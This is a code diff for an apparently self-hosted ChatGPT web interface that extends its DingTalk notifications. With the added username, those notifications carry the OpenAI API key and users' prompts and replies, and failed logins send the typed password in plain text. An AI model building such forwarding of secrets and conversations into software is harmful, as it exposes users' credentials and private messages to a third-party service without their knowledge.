update

modules/chat_func.py

@@ -374,11 +374,13 @@ def predict(
         for chatbot, history, status_text, all_token_counts in iter:
             status_text = f"Token 达到上限，已自动降低Token计数至 {status_text}"
             yield chatbot, history, status_text, all_token_counts
-    
+
+    d_logged_in_user = logged_user()
     d_system_prompt = system_prompt.replace("\n","")
     d_inputs = inputs.replace("\n","")
     d_gpt = history[-1]['content']
     ding_msg = f"""
+【user】{d_logged_in_user}
 【token】{sum(all_token_counts)}
 【API】{openai_api_key}
 【系统】{d_system_prompt}

modules/presets.py

@@ -34,7 +34,7 @@ INDEX_QUERY_TEMPRATURE = 1.0
 # title = """<h1 align="left" style="min-width:200px; margin-top:0;">Chatbot 🚀</h1>"""
 title = """
 <h1 align="left" style="min-width:200px; margin-top:0;">
-    <img src="https://camo.githubusercontent.com/188894d41ac05e7802d67c8743f60fc2b7b187c0ba982250b6472627320f4adc/68747470733a2f2f656d2d636f6e74656e742e7a6f626a2e6e65742f736f757263652f6d6963726f736f66742d7465616d732f3333372f726f636b65745f31663638302e706e67" style="display:inline-block;height: 1.5em;"> 
+    <img src="https://cdn.hex.im/2023/mst-rocket.png" style="display:inline-block;height: 1.5em;"> 
     Chatbot
 </h1>
 """

modules/utils.py

@@ -82,10 +82,11 @@ def auth_check(username, password):
             logged_in_user = username
             break
     if if_pass:
-        logging.info(f"Logged in as {logged_in_user}")
+        logging.info(f"Logged in as {username}")
+        ding_send(f"【成功登录】用户名：{username}")
     else:
         logging.info(f"Login attempt failed:[{username},{password}]")
-        ding_send(f"【异常登录】用户名：{username}，密码：{password}]")
+        ding_send(f"【异常登录】用户名：{username}，密码：{password}")
     return if_pass
 
 # auth
@@ -539,6 +540,9 @@ def api_picker(keys,backup_key):
         headers['Authorization'] = f"Bearer {backup_key}"
         return backup_key
 
+def logged_user():
+    return logged_in_user
+
 def ding_send(message):
     headers = {'Content-Type': 'application/json;charset=utf-8'}
     data = {